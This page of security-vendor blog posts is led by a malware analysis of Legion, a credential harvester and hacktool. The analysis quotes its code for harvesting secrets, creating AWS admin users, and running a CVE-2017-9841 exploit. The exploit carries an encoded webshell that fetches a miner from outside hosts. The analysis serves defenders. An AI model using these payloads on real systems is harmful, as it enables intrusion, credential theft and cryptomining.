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April 13, 2023

Legion: An AWS Credential Harvester and SMTP Hijacker

Cado Security Labs researchers (now part of Darktrace) encountered Legion, an emerging Python-based credential harvester and hacktool. Legion exploits various services for the purpose of email abuse.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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The Darktrace Community
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Apr 2023

Introduction

Cado Security Labs researchers (now part of Darktrace) encountered an emerging Python-based credential harvester and hacktool, named Legion, aimed at exploiting various services for the purpose of email abuse.  

The tool is sold via the Telegram messenger, and includes modules dedicated to:

  • enumerating vulnerable SMTP servers
  • conducting Remote Code Execution (RCE)
  • exploiting vulnerable versions of Apache
  • brute-forcing cPanel and WebHost Manager (WHM) accounts
  • interacting with Shodan’s API to retrieve a target list (provided you supply an API key)  
  • additional utilities, many of which involve abusing AWS services
Legion splash screen
Figure 1: Legion splash screen

The sample encountered by researchers appears to be related to another malware called AndroxGh0st [1]. At the time of writing, it had no detections on VirusTotal [2].

Screen
Figure 2: No open-source intelligence (OSINT) detections for legion.py.

Legion.py background

The sample itself is a rather long (21,015 line) Python3 script. Initial static analysis shows that the malware includes configurations for integrating with services such as Twilio and Shodan - more on this later. Telegram support is also included, with the ability to pipe the results of each of the modules into a Telegram chat via the Telegram Bot API.

  cfg['SETTINGS'] = {} 
  cfg['SETTINGS']['EMAIL_RECEIVER'] = 'put your email' 
  cfg['SETTINGS']['DEFAULT_TIMEOUT'] = '20' 
  cfg['TELEGRAM'] = {} 
  cfg['TELEGRAM']['TELEGRAM_RESULTS'] = 'on' 
  cfg['TELEGRAM']['BOT_TOKEN'] = 'bot token telegram' 
  cfg['TELEGRAM']['CHAT_ID'] = 'chat id telegram' 
  cfg['SHODAN'] = {} 
  cfg['SHODAN']['APIKEY'] = 'ADD YOUR SHODAN APIKEY' 
  cfg['TWILIO'] = {} 
  cfg['TWILIO']['TWILIOAPI'] = 'ADD YOUR TWILIO APIKEY' 
  cfg['TWILIO']['TWILIOTOKEN'] = 'ADD YOUR TWILIO AUTHTOKEN' 
  cfg['TWILIO']['TWILIOFROM'] = 'ADD YOUR FROM NUMBER' 
  cfg['SCRAPESTACK'] = {} 
  cfg['SCRAPESTACK']['SCRAPESTACK_KEY'] = 'scrapestack_key' 
  cfg['AWS'] = {} 
  cfg['AWS']['EMAIL'] = 'put your email AWS test' 

Legion.py - default configuration parameters

As mentioned above, the malware itself appears to be distributed via a public Telegram group. The sample also included references to a Telegram user with the handle “myl3gion”. At the time of writing, researchers accessed the Telegram group to determine whether additional information about the campaign could be discovered.  

Rather amusingly, one of the only recent messages was from the group owner warning members that the user myl3gion was in fact a scammer. There is no additional context to this claim, but it appears that the sample encountered was “illegitimately” circulated by this user.

Scam warning
Figure 3: Scam warning from Telegram group administrator

At the time of writing, the group had 1,090 members and the earliest messages were from February 2021.  

Researchers also encountered a YouTube channel named “Forza Tools”, which included a series of tutorial videos for using Legion. The fact that the developer behind the tool has made the effort of creating these videos, suggests that the tool is widely distributed and is likely paid malware.  

Forza tools youtube channel
Figure 4: Forza Tools YouTube Channel

Functionality

It’s clear from a cursory glance at the code, and from the YouTube tutorials described above, that the Legion credential harvester is primarily concerned with the exploitation of web servers running Content Management Systems (CMS), PHP, or PHP-based frameworks, such as Laravel.  

From these targeted servers, the tool uses a number of RegEx patterns to extract credentials for various web services. These include credentials for email providers, cloud service providers (i.e. AWS), server management systems, databases and payment systems - such as Stripe and PayPal. Typically, this type of tool would be used to hijack said services and use the infrastructure for mass spamming or opportunistic phishing campaigns.  

Additionally, the malware also includes code to implant webshells, brute-force CPanel or AWS accounts and send SMS messages to a list of dynamically-generated US mobile numbers.

Credential harvesting

Legion contains a number of methods for retrieving credentials from misconfigured web servers. Depending on the web server software, scripting language or framework the server is running, the malware will attempt to request resources known to contain secrets, parse them and save the secrets into results files sorted on a per-service basis.  

One such resource is the .env environment variables file, which often contains application-specific secrets for Laravel and other PHP-based web applications. The malware maintains a list of likely paths to this file, as well as similar files and directories for other web technologies. Examples of these can be seen in the table below.

Apache

/_profiler/phpinfo

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/.aws/credentials

/config/aws.yml

/symfony/public/_profiler/phpinfo  

Laravel

/conf/.env

/wp-content/.env

/library/.env

/vendor/.env

/api/.env

/laravel/.env

/sites/all/libraries/mailchimp/.env

Generic debug paths

/debug/default/view?panel=config

/tool/view/phpinfo.view.php

/debug/default/view.html

/frontend/web/debug/default/view

/web/debug/default/view

/sapi/debug/default/view

/wp-config.php-backup

# grab password 
if 'DB_USERNAME=' in text: 
        method = './env' 
        db_user = re.findall("\nDB_USERNAME=(.*?)\n", text)[0] 
        db_pass = re.findall("\nDB_PASSWORD=(.*?)\n", text)[0] 
elif '<td>DB_USERNAME</td>' in text: 
        method = 'debug' 
        db_user = re.findall('<td>DB_USERNAME<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 
        db_pass = re.findall('<td>DB_PASSWORD<\/td>\s+<td><pre.*>(.*?)<\/span>', text)[0] 

Example of RegEx parsing code to retrieve database credentials from requested resources

if '<td>#TWILIO_SID</td>' in text: 
                  acc_sid = re.findall('<td>#TWILIO_SID<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  auhtoken = re.findall('<td>#TWILIO_AUTH<\\/td>\\s+<td><pre.*>(.*?)<\\/span>', text)[0] 
                  build = cleanit(url + '|' + acc_sid + '|' + auhtoken) 
                  remover = str(build).replace('\r', '') 
                  print(f"{yl}☆ [{gr}{ntime()}{red}] {fc}╾┄╼ {gr}TWILIO {fc}[{yl}{acc_sid}{res}:{fc}{acc_key}{fc}]") 
                  save = open(o_twilio, 'a') 
                  save.write(remover+'\n') 
                  save.close() 

Example of RegEx parsing code to retrieve Twilio secrets from requested resources

A full list of the services the malware attempts to extract credentials for can be seen in the table below.

Services targeted

  • Twilio
  • Nexmo
  • Stripe/Paypal (payment API function)
  • AWS console credentials
  • AWS SNS, S3 and SES specific credentials
  • Mailgun
  • Plivo
  • Clicksend
  • Mandrill
  • Mailjet
  • MessageBird
  • Vonage
  • Nexmo
  • Exotel
  • Onesignal
  • Clickatel
  • Tokbox
  • SMTP credentials
  • Database Administration and CMS credentials (CPanel, WHM, PHPmyadmin)

AWS features

As discussed in the previous section, Legion will attempt to retrieve credentials from insecure or misconfigured web servers. Of particular interest to those in cloud security is the malware’s ability to retrieve AWS credentials.  

Not only does the malware claim to harvest these from target sites, but it also includes a function dedicated to brute-forcing AWS credentials - named aws_generator().

def aws_generator(self, length, region): 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","/","/"] 
    chars = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"] 
    def aws_id(): 
        output = "AKIA" 
        for i in range(16): 
            output += random.choice(chars[0:38]).upper() 
        return output 
    def aws_key(): 
        output = "" 
        for i in range(40): 
            if i == 0 or i == 39: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars[0:38])]) 
            else: 
                randUpper = random.choice(chars[0:38]).upper() 
                output += random.choice([randUpper, random.choice(chars)]) 
        return output 
    self.show_info_message(message="Generating Total %s Of AWS Key, Please Wait....." % length) 

Example of AWS credential generation code

This is consistent with external analysis of AndroxGh0st [1], which similarly concludes that it seems statistically unlikely this functionality would result in usable credentials. Similar code for brute-forcing SendGrid (an email marketing company) credentials is also included.

Regardless of how credentials are obtained, the malware attempts to add an IAM user with the hardcoded username of ses_legion. Interestingly, in this sample of Legion the malware also tags the created user with the key “Owner” and a hardcoded value of “ms.boharas”.

def create_new_user(iam_client, user_name='ses_legion'): 
        user = None 
        try: 
                user = iam_client.create_user( 
                        UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        user_name = 'ses_{}'.format(result_str) 
                        user = iam_client.create_user(UserName=user_name, 
                        Tags=[{'Key': 'Owner', 'Value': 'ms.boharas'}] 
                    ) 
        return user_name, user 

IAM user creation and tagging code

An IAM group named SESAdminGroup is then created and the newly created user is added. From there, Legion attempts to create a policy based on the Administrator Access [3] Amazon managed policy. This managed policy allows full access and can delegate permissions to all services and resources within AWS. This includes the management console, providing access has been activated for the user.

def creat_new_group(iam_client, group_name='SESAdminGroup'): 
        try: 
                res = iam_client.create_group(GroupName=group_name) 
        except ClientError as e: 
                if e.response['Error']['Code'] == 'EntityAlreadyExists': 
                        result_str = get_random_string() 
                        group_name = "SESAdminGroup{}".format(result_str) 
                        res = iam_client.create_group(GroupName=group_name) 
        return res['Group']['GroupName']
def creat_new_policy(iam_client, policy_name='AdministratorAccess'): policy_json = {"Version": "2012-10-17","Statement": [{"Effect": "Allow", "Action": "*","Resource": "*"}]} try: res = iam_client.create_policy( PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) except ClientError as e: if e.response['Error']['Code'] == 'EntityAlreadyExists': result_str = get_random_string() policy_name = "AdministratorAccess{}".format(result_str) res = iam_client.create_policy(PolicyName=policy_name, PolicyDocument=json.dumps(policy_json) ) return res['Policy']['Arn'] 

IAM group and policy creation code

Consistent with the assumption that Legion is primarily concerned with cracking email services, the malware attempts to use the newly created AWS IAM user to query Amazon Simple Email Service (SES) quota limits and even send a test email.

def check(countsd, key, secret, region): 
        try: 
                out = '' 
                client = boto3.client('ses', aws_access_key_id=key, aws_secret_access_key=secret, region_name=region) 
                try: 
                        response = client.get_send_quota() 
                        frommail = client.list_identities()['Identities'] 
                        if frommail: 
                                SUBJECT = "AWS Checker By @mylegion (Only Private Tools)" 
                                BODY_TEXT = "Region: {region}\r\nLimit: {limit}|{maxsendrate}|{last24}\r\nLegion PRIV8 Tools\r\n".format(key=key, secret=secret, region=region, limit=response['Max24HourSend']) 
                                CHARSET = "UTF-8" 
                                _to = emailnow 

SMS hijacking capability

One feature of Legion not covered by previous research is the ability to deliver SMS spam messages to users of mobile networks in the US. To do this, the malware retrieves the area code for a US state of the user’s choosing from the website www.randomphonenumbers.com.  

To retrieve the area code, Legion uses Python’s BeautifulSoup HTML parsing library. A rudimentary number generator function is then used to build up a list of phone numbers to target.

def generate(self): 
    print('\n\n\t{0}╭╼[ {1}Starting Service {0}]\n\t│'.format(fg[5], fg[6])) 
    url = f'https://www.randomphonenumbers.com/US/random_{self.state}_phone_numbers'.replace(' ', '%20') 
    print('\t{0}│ [ {1}WEBSITE LOADED{0} ] {2}{3}{0}'.format(fg[5], fg[2], fg[1], url)) 
    query = requests.get(url) 
    soup = BeautifulSoup(query.text, 'html.parser') 
    list = soup.find_all('ul')[2] 
    urls = [] 
    for a in list.find_all('a', href=True): 
        url = f'https://www.randomphonenumbers.com{a["href"]}' 
        print('\t{0}│ [ {1}PARSING URLS{0}   ] {2}{3}'.format(fg[5], fg[2], fg[1], url), end='\r') 
        urls.append(url) 
        time.sleep(0.01) 
    print(' ' * 100, end='\r') 
    print('\t{0}│ [ {1}URLS PARSED{0}    ] {2}{3}\n\t│'.format(fg[5], fg[3], fg[1], len(urls)), end='\r')
def generate_number(area_code, carrier): for char in string.punctuation: carrier = carrier.replace(char, ' ') numbers = '' for number in [area_code + str(x) for x in range(0000, 9999)]: if len(number) != 10: gen = number.split(area_code)[1] number = area_code + str('0' * (10-len(area_code)-len(gen))) + gen numbers += number + '\n' with open(f'Generator/Carriers/{carrier}.txt', 'a+') as file: file.write(numbers)  

Web scraping and phone number generation code

To send the SMS messages themselves, the malware checks for saved SMTP credentials retrieved by one of the credential harvesting modules. Targeted carriers are listed below:

US Mobile Carriers

  • Alltel
  • Amp'd Mobile
  • AT&T
  • Boost Mobile
  • Cingular
  • Cricket
  • Einstein PCS
  • Sprint
  • SunCom
  • T-Mobile
  • VoiceStream
  • US Cellular
  • Verizon
  • Virgin
while not is_prompt: 
    print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Choose Carrier to SPAM{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
    try: 
        prompt = int(input('')) 
        if prompt in [int(x) for x in carriers.keys()]: 
            self.carrier = carriers[str(prompt)] 
            is_prompt = True 
        else: 
            print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
            time.sleep(1) 
    except ValueError: 
        print('\t{0}[{1}!{0}]╾╼[{2}Please enter a valid choice!{0}]'.format(fg[5], fg[0], fg[2]), end='\r') 
        time.sleep(1) 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter your message {0}| {2}160 Max Characters{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.message = input('') 
print('\t{0}┌╼[{1}USA SMS Sender{0}]╾╼[{2}Please enter sender email{0}]\n\t└─╼ '.format(fg[5], fg[0], fg[6]), end='') 
self.sender_email = input('') 

Carrier selection code example

PHP exploitation

Not content with simply harvesting credentials for the purpose of email and SMS spamming, Legion also includes traditional hacktool functionality. One such feature is the ability to exploit well-known PHP vulnerabilities to register a webshell or remotely execute malicious code.

The malware uses several methods for this. One such method is posting a string preceded by <?php and including base64-encoded PHP code to the path "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php". This is a well-known PHP unauthenticated RCE vulnerability, tracked as CVE-2017-9841. It’s likely that Proof of Concept (PoC) code for this vulnerability was found online and integrated into the malware.

path = "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php" 
url = url + path 
phpinfo = "<?php phpinfo(); ?>" 
try: 
    requester_1 = requests.post(url, data=phpinfo, timeout=15, verify=False) 
    if "phpinfo()" in requester_1.text: 
        payload_ = '<?php $root = $_SERVER["DOCUMENT_ROOT"]; $myfile = fopen($root . "/'+pathname+'", "w") or die("Unable to open file!"); $code = "PD9waHAgZWNobyAnPGNlbnRlcj48aDE+TEVHSU9OIEVYUExPSVQgVjQgKE7Eg3ZvZGFyaSBQb3dlcik8L2gxPicuJzxicj4nLidbdW5hbWVdICcucGhwX3VuYW1lKCkuJyBbL3VuYW1lXSAnO2VjaG8nPGZvcm0gbWV0aG9kPSJwb3N0ImVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPic7ZWNobyc8aW5wdXQgdHlwZT0iZmlsZSJuYW1lPSJmaWxlIj48aW5wdXQgbmFtZT0iX3VwbCJ0eXBlPSJzdWJtaXQidmFsdWU9IlVwbG9hZCI+PC9mb3JtPic7aWYoICRfUE9TVFsnX3VwbCddPT0iVXBsb2FkIil7aWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSl7ZWNobyc8Yj5MRUdJT04gRXhwbG9pdCBTdWNjZXNzITwvYj4nO31lbHNle2VjaG8nPGI+TEVHSU9OIEV4cGxvaXQgU3VjY2VzcyE8L2I+Jzt9fSBzeXN0ZW0oJ2N1cmwgLXMgLWsgMi41Ny4xMjIuMTEyL3JjZS9sb2FkIC1vIGFkaW5kZXgucGhwOyBjZCAvdG1wOyBjdXJsIC1PIDkxLjIxMC4xNjguODAvbWluZXIuanBnOyB0YXIgeHp2ZiBtaW5lci5qcGcgPiAvZGV2L251bGw7IHJtIC1yZiBtaW5lci5qcGc7IGNkIC54OyAuL3ggPiAvZGV2L251bGwnKTsKPz4="; fwrite($myfile, base64_decode($code)); fclose($myfile); echo("LEGION EXPLOIT V3"); ?>' 
        send_payload = requests.post(url, data=payload_, timeout=15, verify=False) 
        if "LEGION EXPLOIT V3" in send_payload.text: 
            status_exploit = "Successfully" 
        else: 
            status_exploit = "Can't exploit" 
    else: 
        status_exploit = "May not vulnerable"

Key takeaways

Legion is a general-purpose credential harvester and hacktool, designed to assist in compromising services for conducting spam operations via SMS and SMTP.  

Analysis of the Telegram groups in which this malware is advertised suggests a relatively wide distribution. Two groups monitored by Cado researchers had a combined total of 5,000 members. While not every member will have purchased a license for Legion, these numbers show that interest in such a tool is high. Related research indicates that there are a number of variants of this malware, likely with their own distribution channels.  

Throughout the analyzed code, researchers encountered several Indonesian-language comments, suggesting that the developer may either be Indonesian themselves or based in Indonesia. In a function dedicated to PHP exploitation, a link to a GitHub Gist leads to a user named Galeh Rizky. This user’s profile suggests that they are located in Indonesia, which ties in with the comments seen throughout the sample. It’s not clear whether Galeh Rizky is the developer behind Legion, or if their code just happens to be included in the sample.

Since this malware relies heavily on misconfigurations in web server technologies and frameworks such as Laravel, it’s recommended that users of these technologies review their existing security processes and ensure that secrets are appropriately stored. Ideally, if credentials are to be stored in a .env file, this should be stored outside web server directories so that it’s inaccessible from the web.  

For best practices on investigating and responding to threats in AWS cloud environments, check out our Ultimate Guide to Incident Response in AWS.

Indicators of compromise (IoCs)

Filename SHA256

legion.py fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a

legion.py (variant) 42109b61cfe2e1423b6f78c093c3411989838085d7e6a5f319c6e77b3cc462f3

User agents

Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.183 Safari/537.36

Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36

Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0

Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  

References

  1. https://www.fortinet.com/products/forticnapp
  2. https://www.virustotal.com/gui/file/fcd95a68cd8db0199e2dd7d1ecc4b7626532681b41654519463366e27f54e65a
  3. https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_job-functions.html
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
The Darktrace Community

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January 15, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

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About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO

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January 13, 2026

Runtime Is Where Cloud Security Really Counts: The Importance of Detection, Forensics and Real-Time Architecture Awareness

runtime, cloud security, cnaapDefault blog imageDefault blog image

Introduction: Shifting focus from prevention to runtime

Cloud security has spent the last decade focused on prevention; tightening configurations, scanning for vulnerabilities, and enforcing best practices through Cloud Native Application Protection Platforms (CNAPP). These capabilities remain essential, but they are not where cloud attacks happen.

Attacks happen at runtime: the dynamic, ephemeral, constantly changing execution layer where applications run, permissions are granted, identities act, and workloads communicate. This is also the layer where defenders traditionally have the least visibility and the least time to respond.

Today’s threat landscape demands a fundamental shift. Reducing cloud risk now requires moving beyond static posture and CNAPP only approaches and embracing realtime behavioral detection across workloads and identities, paired with the ability to automatically preserve forensic evidence. Defenders need a continuous, real-time understanding of what “normal” looks like in their cloud environments, and AI capable of processing massive data streams to surface deviations that signal emerging attacker behavior.

Runtime: The layer where attacks happen

Runtime is the cloud in motion — containers starting and stopping, serverless functions being called, IAM roles being assumed, workloads auto scaling, and data flowing across hundreds of services. It’s also where attackers:

  • Weaponize stolen credentials
  • Escalate privileges
  • Pivot programmatically
  • Deploy malicious compute
  • Manipulate or exfiltrate data

The challenge is complex: runtime evidence is ephemeral. Containers vanish; critical process data disappears in seconds. By the time a human analyst begins investigating, the detail required to understand and respond to the alert, often is already gone. This volatility makes runtime the hardest layer to monitor, and the most important one to secure.

What Darktrace / CLOUD Brings to Runtime Defence

Darktrace / CLOUD is purpose-built for the cloud execution layer. It unifies the capabilities required to detect, contain, and understand attacks as they unfold, not hours or days later. Four elements define its value:

1. Behavioral, real-time detection

The platform learns normal activity across cloud services, identities, workloads, and data flows, then surfaces anomalies that signify real attacker behavior, even when no signature exists.

2. Automated forensic level artifact collection

The moment Darktrace detects a threat, it can automatically capture volatile forensic evidence; disk state, memory, logs, and process context, including from ephemeral resources. This preserves the truth of what happened before workloads terminate and evidence disappears.

3. AI-led investigation

Cyber AI Analyst assembles cloud behaviors into a coherent incident story, correlating identity activity, network flows, and Cloud workload behavior. Analysts no longer need to pivot across dashboards or reconstruct timelines manually.

4. Live architectural awareness

Darktrace continuously maps your cloud environment as it operates; including services, identities, connectivity, and data pathways. This real-time visibility makes anomalies clearer and investigations dramatically faster.

Together, these capabilities form a runtime-first security model.

Why CNAPP alone isn’t enough

CNAPP platforms excel at pre deployment checks all the way down to developer workstations, identifying misconfigurations, concerning permission combinations, vulnerable images, and risky infrastructure choices. But CNAPP’s breadth is also its limitation. CNAPP is about posture. Runtime defense is about behavior.

CNAPP tells you what could go wrong; runtime detection highlights what is going wrong right now.

It cannot preserve ephemeral evidence, correlate active behaviors across domains, or contain unfolding attacks with the precision and speed required during a real incident. Prevention remains essential, but prevention alone cannot stop an attacker who is already operating inside your cloud environment.

Real-world AWS Scenario: Why Runtime Monitoring Wins

A recent incident detected by Darktrace / CLOUD highlights how cloud compromises unfold, and why runtime visibility is non-negotiable. Each step below reflects detections that occur only when monitoring behavior in real time.

1. External Credential Use

Detection: Unusual external source for credential use: An attacker logs into a cloud account from a never-before-seen location, the earliest sign of account takeover.

2. AWS CLI Pivot

Detection: Unusual CLI activity: The attacker switches to programmatic access, issuing commands from a suspicious host to gain automation and stealth.

3. Credential Manipulation

Detection: Rare password reset: They reset or assign new passwords to establish persistence and bypass existing security controls.

4. Cloud Reconnaissance

Detection: Burst of resource discovery: The attacker enumerates buckets, roles, and services to map high value assets and plan next steps.

5. Privilege Escalation

Detection: Anomalous IAM update: Unauthorized policy updates or role changes grant the attacker elevated access or a backdoor.

6. Malicious Compute Deployment

Detection: Unusual EC2/Lambda/ECS creation: The attacker deploys compute resources for mining, lateral movement, or staging further tools.

7. Data Access or Tampering

Detection: Unusual S3 modifications: They alter S3 permissions or objects, often a prelude to data exfiltration or corruption.

Only some of these actions would appear in a posture scan, crucially after the fact.
Every one of these runtime detections is visible only through real-time behavioral monitoring while the attack is in progress.

The future of cloud security Is runtime-first

Cloud defense can no longer revolve solely around prevention. Modern attacks unfold in runtime, across a fast-changing mesh of workloads, services, and — critically — identities. To reduce risk, organizations must be able to detect, understand, and contain malicious activity as it happens, before ephemeral evidence disappears and before attacker's pivot across identity layers.

Darktrace / CLOUD delivers this shift by turning runtime, the most volatile and consequential layer in the cloud, into a fully defensible control point through unified visibility across behavior, workloads, and identities. It does this by providing:

  • Real-time behavior detection across workloads and identity activity
  • Autonomous response actions for rapid containment
  • Automated forensic level artifact preservation the moment events occur
  • AI-driven investigation that separates weak signals from true attacker patterns
  • Live cloud environment insight to understand context and impact instantly

Cloud security must evolve from securing what might go wrong to continuously understanding what is happening; in runtime, across identities, and at the speed attackers operate. Unifying runtime and identity visibility is how defenders regain the advantage.

[related-resource]

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About the author
Adam Stevens
Senior Director of Product, Cloud | Darktrace
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